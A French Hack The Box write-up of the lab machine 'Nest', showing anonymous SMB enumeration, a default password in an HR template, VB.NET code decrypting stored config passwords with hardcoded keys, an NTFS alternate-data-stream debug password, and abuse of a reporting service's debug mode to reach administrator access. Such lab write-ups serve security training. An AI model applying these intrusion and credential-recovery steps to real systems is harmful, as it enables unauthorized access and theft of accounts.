Hack The Box - Nest

Nest est une machine Windows considérée comme facile/moyenne. Un accès SMB anonyme permet de récupérer un premier compte non privilégié. La récupération d’un mot de passe chiffré et des sources d’un projet Visual Basic permet, après manipulation de récupérer le mot de passe de l’utilisateur en clair. L’escalade de privilège se fait au travers d’un service de “reporting” permettant ainsi de récupérer une nouvelle chaine chiffrée sur le disque. Le déchiffrement de cette dernière permet un accès administrate

Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.

Découverte / Énumération

Un rapide scan de ports permet d’obtenir les services présents sur la machine.

$ sudo nmap -sS -p 0-10000 -T4 -sV -sC default -O -v -oN scan_nmap 10.10.10.178

Nmap scan report for 10.10.10.178
Host is up (0.030s latency).
Not shown: 9999 filtered ports
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, X11Probe: 
|     Reporting Service V1.2
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     Reporting Service V1.2
|     Unrecognised command
|   Help: 
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|_    HELP <Command>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4386-TCP:V=7.70%I=7%D=2/23%Time=5E52D49C%P=x86_64-pc-linux-gnu%r(NU
SF:LL,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(GenericLin
SF:es,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognise
SF:d\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Service\x2
SF:0V1\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3A,"\r\
SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20comma
SF:nd\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\
SF:n\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x20Repo
SF:rting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\r\nHQK
SF:\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSStatusRequestTCP,21,"
SF:\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Help,F2,"\r\nHQK\
SF:x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nThis\x20service\x20allows\
SF:x20users\x20to\x20run\x20queries\x20against\x20databases\x20using\x20th
SF:e\x20legacy\x20HQK\x20format\r\n\r\n---\x20AVAILABLE\x20COMMANDS\x20---
SF:\r\n\r\nLIST\r\nSETDIR\x20<Directory_Name>\r\nRUNQUERY\x20<Query_ID>\r\
SF:nDEBUG\x20<Password>\r\nHELP\x20<Command>\r\n>")%r(SSLSessionReq,21,"\r
SF:\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TLSSessionReq,21,"\
SF:r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Kerberos,21,"\r\nH
SF:QK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(SMBProgNeg,21,"\r\nHQK
SF:\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(X11Probe,21,"\r\nHQK\x20
SF:Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(FourOhFourRequest,3A,"\r\nHQ
SF:K\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20command\
SF:r\n>")%r(LPDString,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n
SF:>")%r(LDAPSearchReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\
SF:n>")%r(LDAPBindReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n
SF:>")%r(SIPOptions,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\
SF:r\nUnrecognised\x20command\r\n>")%r(LANDesk-RC,21,"\r\nHQK\x20Reporting
SF:\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServer,21,"\r\nHQK\x20Reporti
SF:ng\x20Service\x20V1\.2\r\n\r\n>")%r(NCP,21,"\r\nHQK\x20Reporting\x20Ser
SF:vice\x20V1\.2\r\n\r\n>");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista (91%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (91%), Microsoft Windows Phone 7.5 or 8.0 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8.1 (90%), Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (90%), Microsoft Windows 7 (90%), Microsoft Windows 7 Professional or Windows 8 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (90%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 1.473 days (since Sat Feb 22 09:20:24 2020)
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental

Host script results:
|_clock-skew: mean: 1m52s, deviation: 0s, median: 1m52s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-02-23 20:42:32
|_  start_date: 2020-02-22 09:23:12

NSE: Script Post-scanning.
Initiating NSE at 20:41
Completed NSE at 20:41, 0.00s elapsed
Initiating NSE at 20:41
Completed NSE at 20:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1012.52 seconds
           Raw packets sent: 30720 (1.357MB) | Rcvd: 663 (31.066KB)

Le scan révèle la présence d’un port 445, classique, mais également le port 4386, qui semble être un service de “Reporting”.

Accès SMB anonyme et récupération d’un compte temporaire

Pour les première recherches, on se tourne vers un service que l’on connait déjà, les partages SMB. Grâce à une connexion anonyme, nous sommes en mesure de lister les partages visibles.

$ smbclient -U "" -L \\\\10.10.10.178
Unable to initialize messaging context
Enter WORKGROUP\'s password: 

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    Data            Disk      
    IPC$            IPC       Remote IPC
    Secure$         Disk      
    Users           Disk      
SMB1 disabled -- no workgroup available

À priori, 3 partages peuvent être intéressants pour le moment :

  • Data
  • Secure$
  • USers$

On commencer par regarder du côté du partage Users$ ce qui permet entre autres de récupérer la liste des utilisateurs de la machine. Utile !

$ smbclient -U "" \\\\10.10.10.178\\Users
Unable to initialize messaging context
Enter WORKGROUP\'s password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jan 26 00:04:21 2020
  ..                                  D        0  Sun Jan 26 00:04:21 2020
  Administrator                       D        0  Fri Aug  9 17:08:23 2019
  C.Smith                             D        0  Sun Jan 26 08:21:44 2020
  L.Frost                             D        0  Thu Aug  8 19:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 19:02:50 2019
  TempUser                            D        0  Thu Aug  8 00:55:56 2019

        10485247 blocks of size 4096. 6545336 blocks available

Par curiosité, on tente également d’aller faire un tour sur le partage Secure$. Comme son nom l’indique, ce dernier est plus sécurisé et il n’est pas possible de s’y connecter sans compte utilisateur.

$ smbclient -U "" \\\\10.10.10.178\\Secure$
Enter WORKGROUP\'s password: 
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

Dernière piste, le partage Data sur lequel on a accès à plusieurs éléments.

$ smbclient -U "" \\\\10.10.10.178\\Data   
Unable to initialize messaging context
Enter WORKGROUP\'s password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Aug  8 00:53:46 2019
  ..                                  D        0  Thu Aug  8 00:53:46 2019
  IT                                  D        0  Thu Aug  8 00:58:07 2019
  Production                          D        0  Mon Aug  5 23:53:38 2019
  Reports                             D        0  Mon Aug  5 23:53:44 2019
  Shared                              D        0  Wed Aug  7 21:07:51 2019

        10485247 blocks of size 4096. 6545336 blocks available

Après quelques recherches, on tombe rapidement sur un fichier texte “Welcome Email”. Ce type de fichier peut être très intéressant car peut contenir des informations telles que des comptes par défaut.

smb: \Shared\Templates\HR\> ls
  .                                   D        0  Wed Aug  7 21:08:01 2019
  ..                                  D        0  Wed Aug  7 21:08:01 2019
  Welcome Email.txt                   A      425  Thu Aug  8 00:55:36 2019

        10485247 blocks of size 4096. 6545577 blocks available

smb: \Shared\Templates\HR\> get "Welcome Email.txt"
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (3.4 KiloBytes/sec) (average 1.9 KiloBytes/sec)

La récupération de ce fichier donne effectivement les informations souhaitées, puisqu’un compte, accompagné de son mot de passe, est identifié !

$ cat Welcome\ Email.txt 
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location: 
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the 
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019

Thank you
HR%        

On file de ce pas tenter une connexion avec notre nouveau compte du côté du partage Secure$, non accessible auparavant et bingo, celui ci devient à notre portée.

$ smbclient -U "TempUser" \\\\10.10.10.178\\Secure$
Unable to initialize messaging context
Enter WORKGROUP\TempUser\'s password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Aug  8 01:08:12 2019
  ..                                  D        0  Thu Aug  8 01:08:12 2019
  Finance                             D        0  Wed Aug  7 21:40:13 2019
  HR                                  D        0  Thu Aug  8 01:08:11 2019
  IT                                  D        0  Thu Aug  8 12:59:25 2019

Énumération et récupération du projet VB

Ici commence une nouvelle phase d’énumération. En effet, l’ensemble des éléments non accessibles auparavant doivent être analysés, à la recherche de nouvelles informations. Cela comprend notamment une portion du partage Data$ auparavant inaccessible.

$ smbclient -U "TempUser" \\\\10.10.10.178\\Data    
Enter WORKGROUP\TempUser\'s password: 
Try "help" to get a list of possible commands.
smb: \> cd IT
smb: \IT\> ls
  .                                   D        0  Thu Aug  8 00:58:07 2019
  ..                                  D        0  Thu Aug  8 00:58:07 2019
  Archive                             D        0  Tue Aug  6 00:33:58 2019
  Configs                             D        0  Thu Aug  8 00:59:34 2019
  Installs                            D        0  Thu Aug  8 00:08:30 2019
  Reports                             D        0  Sun Jan 26 01:09:13 2020
  Tools                               D        0  Tue Aug  6 00:33:43 2019

        10485247 blocks of size 4096. 6545577 blocks available
smb: \IT\> cd

De la même façon que précédemment pour le fichier de bienvenue, on tombe rapidement en fouillant les répertoires de configuration sur un fichier intéressant, à priori utilisé pour un projet nommé “RU Scanner”.

smb: \IT\Configs\Ru Scanner\> ls
  .                                   D        0  Wed Aug  7 22:01:13 2019
  ..                                  D        0  Wed Aug  7 22:01:13 2019
  RU_config.xml                       A      270  Thu Aug  8 21:49:37 2019

        10485247 blocks of size 4096. 6545577 blocks available
$ cat RU_config.xml 
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>%

Un utilisateur ! Le password semble ici chiffré. Néanmoins, pas de doute, on est sur la bonne piste. Nouvelle mission : trouver le projet “RU Scanner”. En effet, si ce dernier utilise des fichiers de configuration comme celui ci, alors il doit être en mesure de déchiffrer le mot de passe.

Je ne l’ai pas mentionné au début de l’article, mais cette machine repose essentiellement sur de la reconnaissance et de la prise d’information. Une fois n’est pas coutûme, ne pouvant pas avancer, on continue de fouiller les ressources accessibles. Une bonne idée peut être d’aller fouiller les autres ressources du répertoire “Configs”. En effet, on y trouve par exemple une configuration pour le logiciel Notepad++.

smb: \IT\Configs\NotepadPlusPlus\> ls
  .                                   D        0  Wed Aug  7 21:31:37 2019
  ..                                  D        0  Wed Aug  7 21:31:37 2019
  config.xml                          A     6451  Thu Aug  8 01:01:25 2019
  shortcuts.xml                       A     2108  Wed Aug  7 21:30:27 2019

        10485247 blocks of size 4096. 6545509 blocks available

Ce fichier nous révèle notamment un chemin absolu vers le répertoire de l’utilisateur Carl.

    <History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts" />
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
        <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
    </History>

Même si nous n’avons pas les droits pour lister le contenu du répertoire IT, il s’avère qu’il est possible de continuer dans l’arborescence, si on dispose d’un chemin valide. C’est justement ce qu’on vient de trouver. Ainsi, on peut se faufiler vers le répertoire de l’utilisateur. :)

smb: \IT\Carl\> ls
  .                                   D        0  Wed Aug  7 21:42:14 2019
  ..                                  D        0  Wed Aug  7 21:42:14 2019
  Docs                                D        0  Wed Aug  7 21:44:00 2019
  Reports                             D        0  Tue Aug  6 15:45:40 2019
  VB Projects                         D        0  Tue Aug  6 16:41:55 2019

        10485247 blocks of size 4096. 6545509 blocks available

Le répertoire VB Projects indique clairement la voie. Quelques répertoires plus loin, on tombe sur le fameux projet RUScanner !

smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> ls
  .                                   D        0  Thu Aug  8 00:05:54 2019
  ..                                  D        0  Thu Aug  8 00:05:54 2019
  bin                                 D        0  Wed Aug  7 22:00:11 2019
  ConfigFile.vb                       A      772  Thu Aug  8 00:05:09 2019
  Module1.vb                          A      279  Thu Aug  8 00:05:44 2019
  My Project                          D        0  Wed Aug  7 22:00:11 2019
  obj                                 D        0  Wed Aug  7 22:00:11 2019
  RU Scanner.vbproj                   A     4828  Fri Aug  9 17:37:51 2019
  RU Scanner.vbproj.user              A      143  Tue Aug  6 14:55:27 2019
  SsoIntegration.vb                   A      133  Thu Aug  8 00:05:58 2019
  Utils.vb                            A     4888  Wed Aug  7 21:49:35 2019

        10485247 blocks of size 4096. 6545509 blocks available

Petite astuce pour télécharger l’ensemble d’un répertoire avec smbclient.

smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> mask ""
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> recurse ON
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> prompt OFF
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> mget *
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\ConfigFile.vb of size 772 as ConfigFile.vb (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
...

Déchiffrement et shell utilisateur

Ayant maintenant le code source du projet VB, le but est d’identifier les parties du codes permettant de réaliser le chiffrement/dechiffrement des mots de passe. Je ne vais pas rentrer dans les détails du code, mais une fonction Decrypt est identifiable assez facilement.

Cette dernière prend plusieurs variables en paramètre, dont le mot de passe chiffré. Si vous ne disposez pas de l’environnement nécessaire pour travailler avec du VB, sachez qu’il existe plusieurs services en ligne offrant un environnement virtuel simplifié.

C’est notamment le cas de dotnetfiddle.com que j’ai utilisé pour cette machine. On extrait ainsi la fonction de déchiffrement, que nous allons appeler dans un simple module, puis on affiche le résultat.

Imports System
Imports System.Security.Cryptography
Imports System.Text

Public Module Module1
    Public Sub Main()
        Console.WriteLine("Hello World")
        Dim password As String
        password = Decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        Console.WriteLine(password)
    End Sub
    
    Public Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function
End Module

Le résultat ne se fait pas attendre, on obtient le mot de passe déchiffré !

Hello World
xRxRxPANCAK3SxRxRx

Cela permet notamment de récupérer un accès à une nouvelle zone, ainsi que le flag utilisateur !

$ smbclient -U "c.smith" \\\\10.10.10.178\\Users
Enter WORKGROUP\c.smith\'s password: 
Try "help" to get a list of possible commands.
smb: \> cd C.Smith\
smb: \C.Smith\> ls
  .                                   D        0  Sun Jan 26 08:21:44 2020
  ..                                  D        0  Sun Jan 26 08:21:44 2020
  HQK Reporting                       D        0  Fri Aug  9 01:06:17 2019
  user.txt                            A       32  Fri Aug  9 01:05:24 2019

        10485247 blocks of size 4096. 6545509 blocks available

Récupération du mot de passe de DEBUG

Nouvel accès = nouvelle phase d’énumération. Le répertoire HQK Reporting attire notre attention. Souvenez vous, des informations similaires étaient remontées lors du scan nmap. Il est donc logique qu’il s’agisse du service de reporting.

smb: \C.smith\HQK Reporting\> ls
  .                                   D        0  Fri Aug  9 01:06:17 2019
  ..                                  D        0  Fri Aug  9 01:06:17 2019
  AD Integration Module               D        0  Fri Aug  9 14:18:42 2019
  Debug Mode Password.txt             A        0  Fri Aug  9 01:08:17 2019
  HQK_Config_Backup.xml               A      249  Fri Aug  9 01:09:05 2019

        10485247 blocks of size 4096. 6544215 blocks available

Lors de mes premières recherches sur la machine, j’avais tenté de me connecter au service et j’avais notamment pu voir une fonctionne de debugging, nécessitant un mot de passe. Cela tombe bien, l’extrait ci-dessus mentionne un fichier Debug Mode Password.txt. Seul problème, le fichier semble vide (taille 0)…

C’est notamment ici qu’intervient une astuce au niveau du système de fichiers, les streams ! Pour faire simple, un stream est une séquence d’octets contenants des informations sur un fichier. Il peut s’agir de mots-clés, informations sur le propriétaire.. etc. Il est possible de créer différents streams.

Avec smbclient on peut notamment voir ces informations grâce à la commande suivante.

smb: \C.smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Fri Aug  9 01:06:12 AM 2019 CEST
access_time:    Fri Aug  9 01:06:12 AM 2019 CEST
write_time:     Fri Aug  9 01:08:17 AM 2019 CEST
change_time:    Fri Aug  9 01:08:17 AM 2019 CEST
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes

On observe ainsi un élément intéressant… Le stream par défaut ($DATA) est en effet vide, mais un second stream, nommé “Password” a été créé ! smbclient offre également la possibilité de télécharger un fichier en spécifiant les steams souhaités. Ainsi…

smb: \C.smith\HQK Reporting\> get "Debug Mode Password.txt:Password:$Data"
getting file \C.smith\HQK Reporting\Debug Mode Password.txt:Password:$Data of size 15 as Debug Mode Password.txt:Password:$Data (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

$ cat Debug\ Mode\ Password.txt:Password:\$Data 
WBQ201953D8w 

Manipulation du service de Reporting

La résolution de cette machine se poursuit sur le second service identifié lors du scan de ports. On peut ainsi se connecter au service par l’intermédiaire d’un telnet.

$ telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>

Disposant maintenant du mot de passe de DEBUG, on peut lancer ce mode et ainsi récupérer un accès à plus de fonctionnalités.

>DEBUG WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available
>HELP

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>

La commande SERVICE nous permet de prendre connaissance du binaire utilisé ici tandis que la commande SESSION nous indique le répertoire courant.

>SERVICE

--- HQK REPORTING SERVER INFO ---

Version: 1.2.0.0
Server Hostname: HTB-NEST
Server Process: "C:\Program Files\HQK\HqkSvc.exe"
Server Running As: Service_HQK
Initial Query Directory: C:\Program Files\HQK\ALL QUERIES

>SESSION

--- Session Information ---

Session ID: 32315e55-e64a-4b71-bf3f-124285e93ede
Debug: True
Started At: 3/29/2020 11:55:33 AM
Server Endpoint: 10.10.10.178:4386
Client Endpoint: 10.10.14.4:34380
Current Query Directory: C:\Program Files\HQK\ALL QUERIES

Par la suite, les commandes SETDIR, LIST et SHOWQUERY sont utilisées. Dans les fait, on peut s’en servir comme un système nous permettant de parcourir l’arborescence de la machine. En effet, il est possible d’associer ces dernières aux commandes classique cd, ls et cat.

>SETDIR ../

Current directory set to HQK

>LIST

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  ALL QUERIES
[DIR]  LDAP
[DIR]  Logs
[1]   HqkSvc.exe
[2]   HqkSvc.InstallState
[3]   HQK_Config.xml

Current Directory: HQK

Les répertoires LDAP et Logs attirent notre attention. C’est notamment dans le répertoire LDAP qu’on trouve notre bonheur.

>SETDIR LDAP

Current directory set to LDAP

>LIST

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: LDAP

Le fichier Ldap.conf révèle les informations souhaitées, à savoir le mot de passe, chiffré, de l’administrateur !

>SHOWQUERY 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

Déchiffrement et escalade de privilège

Ok, on a maintenant un mot de passe chiffré pour le compte privilégié ! Cette partie semblement directement utilisée par le processus afin de réaliser l’authentification de l’administrateur. Ainsi, cela veut dire que nous allons devoir interagir directement avec ce processus.

On commence par le récupérer en local.

Une fois cela fait, on peut décompiler le binaire. J’utilise pour cela dnSpy. Je passe également ici la recherche d’informations, mais on trouve rapidement la fonction de déchiffrement. Celle ci est identique à celle identifiée auparavant pour la partie utilisateur.

À ce moment, deux options afin de déchiffrer le mot de passe :

  • Modifier le code du binaire, afin d’afficher le mot de passe déchiffré, puis le recompiler et l’exécuter ;
  • Utiliser une nouvelle fois notre environnement en ligne en modifiant les paramètres de la fonction.

N’étant pas très doué avec dnSpy et étant un peu blasé de cette machine, j’ai pris la solution de facilité en réutilisant la même chose que pour l’utilisateur :).

[...]
Public Sub Main()
        Console.WriteLine("Hello World")
        Dim password As String
        password = Decrypt(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256, 256)
        Console.WriteLine(password)
    End Sub
[...]

Et ainsi : XtH4nkS4Pl4y1nGX

Tadaaaam! On peut filer récupérer le flag root.

Pour la petite histoire, je suis d’abord allé voir sur le partage Users et voici ce que j’ai trouvé.

$ smbclient -U "Administrator" \\\\10.10.10.178\\Users  
Unable to initialize messaging context
Enter WORKGROUP\Administrator\'s password: 
Try "help" to get a list of possible commands.
smb: \> cd Administrator\
smb: \Administrator\> ls
  .                                   D        0  Fri Aug  9 17:08:23 2019
  ..                                  D        0  Fri Aug  9 17:08:23 2019
  flag.txt - Shortcut.lnk             A     2384  Fri Aug  9 17:10:15 2019

    10485247 blocks of size 4096. 6544908 blocks available

Pas de flag root… Mais un fichier “flag.txt” (impossible à récupérer pour ma part). Après quelques secondes de réflexion, j’ai repensé au fait que le partage Users était une copie/reproduction du répertoire C:/Users de la machine, et que disposant des droits administrateur, on pouvait tout simplement s’y connecter.

$ smbclient -U "Administrator" \\\\10.10.10.178\\C$
Enter WORKGROUP\Administrator\'s password: 
Try "help" to get a list of possible commands.
smb: \Users\Administrator\Desktop\> ls
  .                                  DR        0  Sun Jan 26 08:20:50 2020
  ..                                 DR        0  Sun Jan 26 08:20:50 2020
  desktop.ini                       AHS      282  Sat Jan 25 23:02:44 2020
  root.txt                            A       32  Tue Aug  6 00:27:26 2019

    10485247 blocks of size 4096. 6543963 blocks available

w00ted !

Hack The Box - Resolute Hack The Box - Monteverde